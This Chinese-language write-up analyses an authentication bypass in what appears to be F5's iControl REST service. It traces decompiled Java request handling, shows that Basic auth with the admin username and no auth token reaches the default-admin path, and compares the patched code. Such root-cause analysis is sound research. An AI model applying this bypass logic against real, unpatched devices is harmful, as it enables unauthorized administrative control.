public static boolean trySendInProcess(RestOperation request) { try { URI uri = request.getUri(); if (uri == null) { throw new IllegalArgumentException("uri is null"); } if (!RestHelper.isLocalHost(uri.getHost())) { return false; } RestServer server = getInstance(uri.getPort()); if (server == null) { return false; } RestWorker worker = null; worker = findWorker(request, server); if (worker == null) { String sanatizePath = sanitizePath(uri.getPath()); String message = String.format("URI path %s not registered. Please verify URI is supported and wait for /available suffix to be responsive.", sanatizePath); RestErrorResponse errorResponse = RestErrorResponse.create().setCode(404L).setMessage(message).setReferer(request.getReferer()).setRestOperationId(request.getId()).setErrorStack((List)null); request.setIsRestErrorResponseRequired(false); request.setBody(errorResponse); request.fail(new RestWorkerUriNotFoundException(message)); return true; } try { worker.onRequest(request); } finally { ApiUsageData.addUsage(BUCKET.MESSAGE, request.getMethod(), worker.getUri().getPath()); } } catch (Exception var11) { LOGGER.severe("e:" + var11.getMessage()); request.fail(var11); } return true; }
这里,基础的配置设置完成后,会调用worker.onRequest(request)
protected void onRequest(RestOperation request, String key) { if (request != null) { boolean toDispatch = this.dispatchOrQueue(request, key); if (toDispatch) { this.requestReadyQueue.add(request); this.getServer().scheduleRequestProcessing(this); } } }
将此request加入到requestReadyQueue中去,然后scheduleRequestProcessing
public void scheduleRequestProcessing(RestWorker worker) { if (this.readyWorkerSet.add(worker)) { RestThreadManager.getNonBlockingPool().execute(this.processRequestsTask); } }
然后会调用processRequestsTask来处理这个请求,这个processRequestsTask在前边已经明确定义
public RestServer(int port, JettyHost jettyHost) { this.pathToWorkerMap = new ConcurrentSkipListMap(); this.workerToCollectionPathsMap = new ConcurrentSkipListMap(); this.checkRestWorkerShutdownMillis = (int)TimeUnit.MINUTES.toMillis(1L); this.supportWorkersStarted = false; this.allowStackTracesInPublicResponse = false; this.storageUri = null; this.configIndexUri = null; this.groupResolverUri = null; this.deviceResolverUri = null; this.forwarderUri = null; this.machineId = null; this.discoveryAddress = null; this.scheduleTaskManager = (new ScheduleTaskManager()).setLogger(LOGGER); this.readyWorkerSet = new ConcurrentSkipListSet(); this.indexRebuildCoordinator = new RunnableCoordinator(1); this.forwardRequestValidator = null; if (port < 0) { throw new IllegalArgumentException("port"); } else { this.listenPort = port; this.jettyHost = jettyHost; this.processRequestsTask = new Runnable() { public void run() { RestServer.this.processQueuedRequests(); } }; } }
所以直接去看processQueuedRequests的处理即可,从队列中依次取出需要处理的request,挨个处理
private void processQueuedRequests() { ArrayList workersWithMoreWork = new ArrayList(); while(true) { RestWorker worker = (RestWorker)this.readyWorkerSet.pollFirst(); if (worker == null) { Iterator i$ = workersWithMoreWork.iterator(); while(i$.hasNext()) { RestWorker w = (RestWorker)i$.next(); this.scheduleRequestProcessing(w); } return; } boolean doContinue = false; for(int i = 0; i < 100; ++i) { RestOperation request = worker.pollReadyRequestQueue(); if (request == null) { doContinue = true; break; } worker.callRestMethodHandler(request); } if (!doContinue && worker.requestAreWaitingInReadyQueue()) { workersWithMoreWork.add(worker); } } }
可以看到,队列中取出 request后会调用callRestMethodHandler去处理
protected final void callRestMethodHandler(RestOperation request) { try { boolean updateStats = RestHelper.isOperationTracingEnabled() && !this.isHelper(); RestMethod method = request.getMethod(); boolean hasParameters = !request.getParameters().isEmpty(); long startTimeMicroSec = 0L; RestWorkerStats stats; if (updateStats) { startTimeMicroSec = RestHelper.getNowMicrosUtc(); stats = this.getStats(); if (stats != null) { stats.incrementRequestCountForMethod(method, hasParameters); } } this.callDerivedRestMethod(request, method, hasParameters); if (updateStats) { stats = this.getStats(); if (stats != null) { stats.incrementMovingAverageRequestCountForMethod(method, RestHelper.getNowMicrosUtc() - startTimeMicroSec, hasParameters); } } } catch (Exception var9) { Exception e = var9; try { if (e instanceof JsonSyntaxException && (e.getCause() instanceof IllegalStateException || e.getCause() instanceof MalformedJsonException || e.getCause() instanceof EOFException)) { LOGGER.fine("JSON parsing exception error, will execute XSS validation"); this.handleXSSAttack(request, e.getLocalizedMessage()); } String exceptionMsgWithStack = RestHelper.throwableStackToString(e); LOGGER.warning(String.format("dispatch to worker %s caught following exception: %s", this.getUri(), exceptionMsgWithStack)); } catch (Exception var8) { LOGGER.severe("Failed to log exception in callRestMethodHandler"); } request.fail(var9); } }
做一些判断后会调用callDerivedRestMethod函数
protected void callDerivedRestMethod(RestOperation request, RestMethod method, boolean hasParameters) { switch(method) { case GET: if (hasParameters) { this.onQuery(request); } else { this.onGet(request); } break; case PATCH: this.onPatch(request); break; case POST: this.onPost(request); break; case PUT: this.onPut(request); break; case DELETE: this.onDelete(request); break; case OPTIONS: String origin = request.getAdditionalHeader(Direction.REQUEST, "Origin"); if (origin != null && !origin.isEmpty()) { request.getAdditionalHeaders(Direction.RESPONSE).addCORSResponseAllowMethodsHeader(this.getAllowedHttpMethods()); } this.onOptions(request); break; default: request.fail(new UnsupportedOperationException()); } }
根据request_method分发,我们去看onPost的实现
这里一定要注意一点,此时的this并不是RestWorker对象,而是ForwarderPassThroughWorker对象,具体要向前回溯去看实例化的过程,但是太麻烦,简易直接通过动态调试,一目了然
protected void onPost(RestOperation request) { this.onForward(request); }
继续向下追ForwarderPassThroughWorker中的onForward
private void onForward(final RestOperation request) { final ForwarderWorkerRequest mapping = this.forwarder.findMapping(request.getUri().getPath()); if (mapping == null) { request.setStatusCode(400); this.failRequest(request, this.getUriNotRegisteredException(request)); } else { if (this.isExternalRequest(request)) { ForwardRequestValidator validator = this.getServer().getForwardRequestValidator(); if (validator != null) { try { validator.validateRequest(request); } catch (Exception var7) { this.failRequest(request, var7); return; } } switch(mapping.apiStatus) { case DEPRECATED: request.setResourceDeprecated(true); if (!isDeprecatedApiAllowed) { request.setStatusCode(404); this.failRequest(request, this.getUriNotRegisteredException(request)); this.logApiNotAvailable(request.getUri().getPath(), "deprecate"); return; } this.logApiAccessFailure(isLogDeprecatedApiAllowed, request.getUri().getPath(), "deprecate"); break; case EARLY_ACCESS: request.setResourceEarlyAccess(true); if (!isEarlyAccessApiAllowed) { request.setStatusCode(404); this.failRequest(request, this.getUriNotRegisteredException(request)); this.logApiNotAvailable(request.getUri().getPath(), "earlyAccess"); return; } this.logApiAccessFailure(isLogEarlyAccessApiAllowed, request.getUri().getPath(), "earlyAccess"); break; case TEST_ONLY: if (!isTestOnlyApiAllowed) { request.setStatusCode(404); this.failRequest(request, this.getUriNotRegisteredException(request)); this.logApiNotAvailable(request.getUri().getPath(), "testOnly"); return; } this.logApiAccessFailure(isLogTestOnlyApiAllowed, request.getUri().getPath(), "testOnly"); break; case INTERNAL_ONLY: request.setStatusCode(404); this.failRequest(request, this.getUriNotRegisteredException(request)); case NO_STATUS: case GA: break; default: this.failRequest(request, new IllegalStateException("Unknown API Availabilty type")); return; } } CompletionHandler<Void> completion = new CompletionHandler<Void>() { public void completed(Void dummy) { ForwarderPassThroughWorker.this.cloneAndForwardRequest(request, mapping); } public void failed(Exception exception, Void dummy) { ForwarderPassThroughWorker.this.failRequest(request, exception); AuditLog.auditLog(request, false); } }; boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true"); if (isPasswordExpired) { String expiredPasswordUriPath = request.getUri().getPath(); boolean isPasswordRequestValid = this.passwordRequestIsOnlyToPermittedURI(expiredPasswordUriPath, request) && this.passwordRequestOnlyContainsPermittedFields(request) && this.userChangingSelfPassword(expiredPasswordUriPath, request); if (!isPasswordRequestValid) { request.setStatusCode(401); this.failRequest(request, new SecurityException(CHANGE_PASSWORD_NOTIFICATION)); this.logExpiredPassword(expiredPasswordUriPath); return; } } boolean isRBACDisabled = this.getProperties().getAsBoolean("rest.common.RBAC.disabled"); if (isRBACDisabled) { completion.completed((Object)null); } else { EvaluatePermissions.evaluatePermission(request, completion); } } }
经过动态调试,前边的分支都进不去,会进入EvaluatePermissions.evaluatePermission(request, completion)
public static void evaluatePermission(final RestOperation request, final CompletionHandler<Void> finalCompletion) { if (roleEval == null) { throw new IllegalArgumentException("roleEval may not be null."); } else { if (request.getReferer() == null) { request.setReferer(request.getRemoteSender()); } String authToken = request.getXF5AuthToken(); if (authToken == null) { completeEvaluatePermission(request, (AuthTokenItemState)null, finalCompletion); } else { RestRequestCompletion completion = new RestRequestCompletion() { public void completed(RestOperation tokenRequest) { AuthTokenItemState token = (AuthTokenItemState)tokenRequest.getTypedBody(AuthTokenItemState.class); EvaluatePermissions.completeEvaluatePermission(request, token, finalCompletion); } public void failed(Exception exception, RestOperation tokenRequest) { String error = "X-F5-Auth-Token does not exist."; EvaluatePermissions.setStatusUnauthorized(request); finalCompletion.failed(new SecurityException(error), (Object)null); } }; RestOperation tokenRequest = RestOperation.create().setUri(UrlHelper.extendUriSafe(UrlHelper.buildLocalUriSafe(authzTokenPort, new String[]{WellKnownPorts.AUTHZ_TOKEN_WORKER_URI_PATH}), new String[]{authToken})).setCompletion(completion); RestRequestSender.sendGet(tokenRequest); } } }
此处,获取到的authToken为null,所以会进入completeEvaluatePermission
private static void completeEvaluatePermission(final RestOperation request, AuthTokenItemState token, final CompletionHandler<Void> finalCompletion) { if (token != null) { if (token.expirationMicros < RestHelper.getNowMicrosUtc()) { String error = "X-F5-Auth-Token has expired."; setStatusUnauthorized(request); finalCompletion.failed(new SecurityException(error), (Object)null); return; } request.setXF5AuthTokenState(token); } request.setBasicAuthFromIdentity(); if (request.getUri().getPath().equals(EXTERNAL_LOGIN_WORKER) && request.getMethod().equals(RestMethod.POST)) { finalCompletion.completed((Object)null); } else if (request.getUri().getPath().equals(UrlHelper.buildUriPath(new String[]{EXTERNAL_LOGIN_WORKER, "available"})) && request.getMethod().equals(RestMethod.GET)) { finalCompletion.completed((Object)null); } else { final RestReference userRef = request.getAuthUserReference(); final String path; if (RestReference.isNullOrEmpty(userRef)) { path = "Authorization failed: no user authentication header or token detected. Uri:" + request.getUri() + " Referrer:" + request.getReferer() + " Sender:" + request.getRemoteSender(); setStatusUnauthorized(request); finalCompletion.failed(new SecurityException(path), (Object)null); } else if (AuthzHelper.isDefaultAdminRef(userRef)) { finalCompletion.completed((Object)null); } else { if (UrlHelper.hasODataInPath(request.getUri().getPath())) { path = UrlHelper.removeOdataSuffixFromPath(UrlHelper.normalizeUriPath(request.getUri().getPath())); } else { path = UrlHelper.normalizeUriPath(request.getUri().getPath()); } final RestMethod verb = request.getMethod(); if (path.startsWith(EXTERNAL_GROUP_RESOLVER_PATH) && request.getParameter("$expand") != null) { String filterField = request.getParameter("$filter"); if (USERS_GROUP_FILTER_STRING.equals(filterField) || USERGROUPS_GROUP_FILTER_STRING.equals(filterField)) { finalCompletion.completed((Object)null); return; } } if (token != null && path.equals(UrlHelper.buildUriPath(new String[]{EXTERNAL_AUTH_TOKEN_WORKER_PATH, token.token}))) { finalCompletion.completed((Object)null); } else { roleEval.evaluatePermission(request, path, verb, new CompletionHandler<Boolean>() { public void completed(Boolean result) { if (result) { finalCompletion.completed((Object)null); } else { String error = "Authorization failed: user=" + userRef.link + " resource=" + path + " verb=" + verb + " uri:" + request.getUri() + " referrer:" + request.getReferer() + " sender:" + request.getRemoteSender(); EvaluatePermissions.setStatusUnauthorized(request); finalCompletion.failed(new SecurityException(error), (Object)null); } } public void failed(Exception ex, Boolean result) { request.setBody((String)null); request.setStatusCode(500); String error = "Internal server error while authorizing request"; finalCompletion.failed(new Exception(error), (Object)null); } }); } } } }
向下运行,会进入else if (AuthzHelper.isDefaultAdminRef(userRef))这个判断,由于现有reference是根据admin这个username生成的,所以会进入这个判断,成功继续向下运行,绕过判断。
使用idea可以针对两个jar包开展比对,选中两个jar包后按command+D即可
经比较,发现RestOperationIdentifier类中的setIdentityFromBasicAuth函数变化较大
原代码:
private static boolean setIdentityFromBasicAuth(RestOperation request) { String authHeader = request.getBasicAuthorization(); if (authHeader == null) { return false; } else { BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader); request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); return true; } }
更新后代码:
private static boolean setIdentityFromBasicAuth(final RestOperation request, final Runnable runnable) { String authHeader = request.getBasicAuthorization(); if (authHeader == null) { return false; } else { final BasicAuthComponents components = AuthzHelper.decodeBasicAuth(authHeader); String xForwardedHostHeaderValue = request.getAdditionalHeader("X-Forwarded-Host"); if (xForwardedHostHeaderValue == null) { request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); if (runnable != null) { runnable.run(); } return true; } else { String[] valueList = xForwardedHostHeaderValue.split(", "); int valueIdx = valueList.length > 1 ? valueList.length - 1 : 0; if (!valueList[valueIdx].contains("localhost") && !valueList[valueIdx].contains("127.0.0.1")) { if (valueList[valueIdx].contains("127.4.2.1") && components.userName.equals("f5hubblelcdadmin")) { request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); if (runnable != null) { runnable.run(); } return true; } else { boolean isPasswordExpired = request.getAdditionalHeader("X-F5-New-Authtok-Reqd") != null && request.getAdditionalHeader("X-F5-New-Authtok-Reqd").equals("true"); if (PasswordUtil.isPasswordReset() && !isPasswordExpired) { AuthProviderLoginState loginState = new AuthProviderLoginState(); loginState.username = components.userName; loginState.password = components.password; loginState.address = request.getRemoteSender(); RestRequestCompletion authCompletion = new RestRequestCompletion() { public void completed(RestOperation subRequest) { request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); if (runnable != null) { runnable.run(); } } public void failed(Exception ex, RestOperation subRequest) { RestOperationIdentifier.LOGGER.warningFmt("Failed to validate %s", new Object[]{ex.getMessage()}); if (ex.getMessage().contains("Password expired")) { request.fail(new SecurityException(ForwarderPassThroughWorker.CHANGE_PASSWORD_NOTIFICATION)); } if (runnable != null) { runnable.run(); } } }; try { RestOperation subRequest = RestOperation.create().setBody(loginState).setUri(UrlHelper.makeLocalUri(new URI(TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH), (Integer)null)).setCompletion(authCompletion); RestRequestSender.sendPost(subRequest); } catch (URISyntaxException var11) { LOGGER.warningFmt("ERROR: URISyntaxEception %s", new Object[]{var11.getMessage()}); } return true; } else { request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); if (runnable != null) { runnable.run(); } return true; } } } else { request.setIdentityData(components.userName, (RestReference)null, (RestReference[])null); if (runnable != null) { runnable.run(); } return true; } } } } static { TMOS_AUTH_LOGIN_PROVIDER_WORKER_URI_PATH = TmosAuthProviderCollectionWorker.WORKER_URI_PATH + "/" + TmosAuthProviderCollectionWorker.generatePrimaryKey("tmos") + "/login"; } }
修复后的代码针对请求的ip做了筛选,如果是127.0.0.1,活着是127.4.2.1同时username是f5hubblelcdadmin,则依然可以通过认证,但是其他的请求则无法直接通过认证,会检查认证是否过期,如果过期则使用口令密码重新验证。